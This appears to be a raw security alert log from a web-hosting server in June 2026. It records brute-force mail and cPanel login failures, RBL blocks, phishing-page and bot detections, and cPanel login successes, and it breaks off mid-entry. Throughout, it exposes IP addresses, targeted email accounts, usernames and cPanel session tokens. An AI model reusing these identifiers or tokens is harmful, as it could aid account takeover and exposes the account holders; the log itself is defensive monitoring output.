104.28.154.125 - - [08/Jun/2026:11:22:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195859&pdata=https%253A%252F%252Flaunetogo.tg%252Fdiplomatie-a-lome-faure-gnassingbe-remet-la-mediation-africaine-au-coeur-du-dossier-est-rdc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780917732 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/diplomatie-a-lome-faure-gnassingbe-remet-la-mediation-africaine-au-coeur-du-dossier-est-rdc/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.2 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.154.125


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.42.19.17
country_id: 2635167
description:
Jun  8 11:22:13 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.42.19.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.211.16
country_id: 6252001
description:
2026-06-08 11:22:56 dovecot_login authenticator failed for H=(03OjnsI) [158.94.211.16]:65084: 535 Incorrect authentication data (set_id=ccit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.94.211.16
country_id: 6252001
description:
Jun  8 11:22:54 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.94.211.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.140
country_id: 6252001
domain: daula.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/uljcqiuy/public_html/.429756665306303.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.110
country_id: 2635167
description:
[2026-06-08 11:23:18 +0000] info [cpaneld] 5.230.133.110 NEW ohuuvcqw:3u9q4O6IPGDbGVFB address=5.230.133.110,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.229
country_id: 6252001
description:
[2026-06-08 11:23:22 +0000] info [cpaneld] 107.174.169.229 NEW uljcqiuy:AjrGCILEi312FH_3 address=107.174.169.229,app=cpaneld,creator=uljcqiuy,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Exchange Platform Prize bonotdamvam.blogspot.hk T3||Email:rdbehera181@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:11-22.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.226
country_id: 2635167
description:
[2026-06-08 11:24:23 +0000] info [cpaneld] 5.230.153.226 NEW vuvwskxh:ZohSGdMn1rIPPhfY address=5.230.153.226,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.155.242.182
country_id: 6252001
domain: mail.ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:24:11 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58117: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 109.239.229.214
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.173.31.28
country_id: 2017370
description:
Jun  8 11:25:51 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.173.31.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.106.2
country_id: 3175395
description:
Jun  8 11:25:06 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.106.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.173.31.28
country_id: 2017370
description:
2026-06-08 11:25:53 dovecot_plain authenticator failed for H=(fg1m3bzjxjrgyskpm2waznpaern7vt) [217.173.31.28]:59785: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:26:01 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58122: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:25:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:12680: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 109.239.229.225
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:zlecaf-le-togo-evalue-ses-acquis-et-ses-defis/||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.21.238.134
country_id: 3624060
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:11-26.82.21.238.134||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [08/Jun/2026:11:27:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789266&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjo-tokyo-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780918048 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jo-tokyo-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.39.155.243
country_id: 3865483
description:
[2026-06-08 11:28:16 +0000] info [cpaneld] 186.39.155.243 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 183.81.75.45
country_id: 1562822
description:
[2026-06-08 11:28:21 +0000] info [cpaneld] 183.81.75.45 - crrhuemoaorg "GET /login/?login_only=1&user=crrhuemoaorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuemoaorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.118.6.204
country_id: 6252001
description:
[2026-06-08 11:28:23 +0000] info [cpaneld] 162.118.6.204 - crrhuemo "GET /login/?login_only=1&user=crrhuemo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.124.151.137
country_id: 3996063
description:
[2026-06-08 11:28:32 +0000] info [cpaneld] 201.124.151.137 - crrhu "GET /login/?login_only=1&user=crrhu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.168.196.195
country_id: 3017382
description:
[2026-06-08 11:28:37 +0000] info [cpaneld] 85.168.196.195 - crr "GET /login/?login_only=1&user=crr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.132.243
country_id: 3996063
description:
[2026-06-08 11:28:39 +0000] info [cpaneld] 148.222.132.243 - cr "GET /login/?login_only=1&user=cr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.63.156.57
country_id: 3508796
description:
[2026-06-08 11:28:13 +0000] info [cpaneld] 187.63.156.57 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.164.33
country_id: 2542007
description:
[2026-06-08 11:28:18 +0000] info [cpaneld] 160.178.164.33 - crrhuemoa "GET /login/?login_only=1&user=crrhuemoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuemoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.52.29.143
country_id: 3469034
description:
[2026-06-08 11:28:26 +0000] info [cpaneld] 177.52.29.143 - crrhuem "GET /login/?login_only=1&user=crrhuem&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuem (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.50.183
country_id: 3658394
description:
[2026-06-08 11:28:29 +0000] info [cpaneld] 191.99.50.183 - crrhue "GET /login/?login_only=1&user=crrhue&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhue (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.118.146.74
country_id: 3686110
description:
[2026-06-08 11:28:35 +0000] info [cpaneld] 200.118.146.74 - crrh "GET /login/?login_only=1&user=crrh&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrh (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.84.76
country_id: 1880251
description:
2026-06-08 11:30:45 dovecot_plain authenticator failed for H=(t0c9f1jhayta3ydvry946cbld8) [159.223.84.76]:60920: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:31:02 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53934: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:32:39 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:53937: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.185.44.206
country_id: 1269750
description:
Jun  8 11:32:56 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.185.44.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-06-08 11:32:58 dovecot_login authenticator failed for H=([72.37.217.1]) [122.185.44.206]:59613: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 206.62.54.171
country_id: 1522867
description:
2026-06-08 11:33:44 H=([206.62.54.171]) [206.62.54.171]:34729 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:33:37 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:63117: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.37.143.149
country_id: 2017370
description:
[2026-06-08 11:34:28 +0000] info [cpaneld] 92.37.143.149 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.52.105.75
country_id: 2635167
description:
[2026-06-08 11:34:20 +0000] info [cpaneld] 31.52.105.75 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.47.8.209
country_id: 163843
description:
[2026-06-08 11:34:25 +0000] info [cpaneld] 94.47.8.209 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.164.59.187
country_id: 6252001
description:
[2026-06-08 11:34:33 +0000] info [cpaneld] 184.164.59.187 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.234.177.1
country_id: 3686110
description:
[2026-06-08 11:34:40 +0000] info [cpaneld] 181.234.177.1 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.174.95.158
country_id: 3996063
description:
[2026-06-08 11:34:14 +0000] info [cpaneld] 45.174.95.158 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.13.90.32
country_id: 1819730
description:
119.13.90.32 - - [08/Jun/2026:11:34:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909385&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2025%252F07%252F11%252Fles-lourdes-consequences-du-boycott-des-elections-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780918480 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2025/07/11/les-lourdes-consequences-du-boycott-des-elections-au-togo/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.13.90.32


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:33:54 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:62006: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:35:39 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:58753: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.20.35
country_id: 3469034
description:
[2026-06-08 11:35:43 +0000] info [cpaneld] 65.111.20.35 - 5250475695 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 109.239.229.67
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: More than 1000 JSON keys||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.4
country_id: 3017382
description:
[2026-06-08 11:36:42 +0000] info [cpaneld] 5.231.64.4 NEW vuvwskxh:e20S9NKvJuPhB09O address=5.231.64.4,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.58.50.155
country_id: 6252001
description:
[2026-06-08 11:36:46 +0000] info [cpaneld] 45.58.50.155 NEW vuvwskxh:DxJEH5EWksImS67a address=45.58.50.155,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-08 11:36:35 +0000] info [cpaneld] 5.230.133.152 NEW ifxmoxbf:GcNX6jtr7N6moYfE address=5.230.133.152,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.109
country_id: 6252001
description:
[2026-06-08 11:36:44 +0000] info [cpaneld] 134.195.83.109 NEW vuvwskxh:D5iFqjdokUz7R6XP address=134.195.83.109,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:36:37 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:52733: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.78.131.129
country_id: 1562822
description:
[2026-06-08 11:37:20 +0000] info [cpaneld] 27.78.131.129 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.48.72.157
country_id: 3469034
description:
[2026-06-08 11:37:28 +0000] info [cpaneld] 179.48.72.157 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.70.253.62
country_id: 3469034
description:
[2026-06-08 11:37:26 +0000] info [cpaneld] 45.70.253.62 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.183.70.30
country_id: 3658394
description:
[2026-06-08 11:37:02 +0000] info [cpaneld] 201.183.70.30 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:37:00 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13696: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.0.98.5
country_id: 102358
description:
[2026-06-08 11:37:11 +0000] info [cpaneld] 159.0.98.5 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:36:53 dovecot_login authenticator failed for H=(DESKTOPIUUM061) [196.170.108.172]:52735: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-08 11:36:53 +0000] info [cpaneld] 5.230.133.148 NEW ohuuvcqw:VjZ9aevNS0ogjcDn address=5.230.133.148,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.26
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.504624528192240.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.5.101
country_id: 3996063
description:
[2026-06-08 11:36:57 +0000] info [cpaneld] 74.244.5.101 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:38:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13702: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 136.109.13.65
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (136.109.13.65) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:39:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13703: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:40:11 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:13706: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.227.188.17
country_id: 1269750
description:
2026-06-08 11:40:57 dovecot_plain authenticator failed for H=([31.76.125.49]) [163.227.188.17]:5658: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 11:41:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:19148: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 106.161.65.206
country_id: 1861060
description:
106.161.65.206 - - [08/Jun/2026:11:41:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081449&pdata=http%253A%252F%252Fceni.tg%252Fauth%252Fthen%252Fjpedrk%252F3mail%2540b.c&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780918913 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/auth/then/jpedrk/3mail@b.c" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:106.161.65.206


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.238.175.79
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.133.36.176
country_id: 1880251
description:
43.133.36.176 - - [08/Jun/2026:11:42:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853734&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsituation-securitaire-au-togo-le-gouvernement-echange-avec-les-partis-politiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780918973 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/situation-securitaire-au-togo-le-gouvernement-echange-avec-les-partis-politiques/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.133.36.176


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.213
country_id: 1269750
description:
Jun  8 11:43:13 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-06-08 11:43:15 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:52517: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 205.188.22.7
country_id: 2623032
domain: cafe.tg
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.193.254
country_id: 1512440
description:
2026-06-08 11:44:49 H=([198.163.193.254]) [198.163.193.254]:44937 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 106.161.65.206
country_id: 1861060
description:
106.161.65.206 - - [08/Jun/2026:11:44:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395290&pdata=http%253A%252F%252Fceni.tg%252Fauth%252Fthen%252Fjpedrk%252F3mail%2540b.c&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919089 HTTP/1.1" 302 0 ceni.tg "http://ceni.tg/auth/then/jpedrk/3mail@b.c" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:106.161.65.206


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 117.163.64.12
country_id: 1814991
description:
2026-06-08 11:46:40 H=([0.0.0.0]) [117.163.64.12]:8173 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:11-48.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.168
country_id: 3017382
description:
[2026-06-08 11:48:11 +0000] info [cpaneld] 5.231.64.168 NEW njdbfcnn:ctXsgDdlumtBWpeW address=5.231.64.168,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.201.18.170
country_id: 2017370
description:
[2026-06-08 11:47:54 +0000] info [cpaneld] 81.201.18.170 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.62.145.222
country_id: 99237
description:
[2026-06-08 11:48:12 +0000] info [cpaneld] 5.62.145.222 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.67.123.112
country_id: 2802361
description:
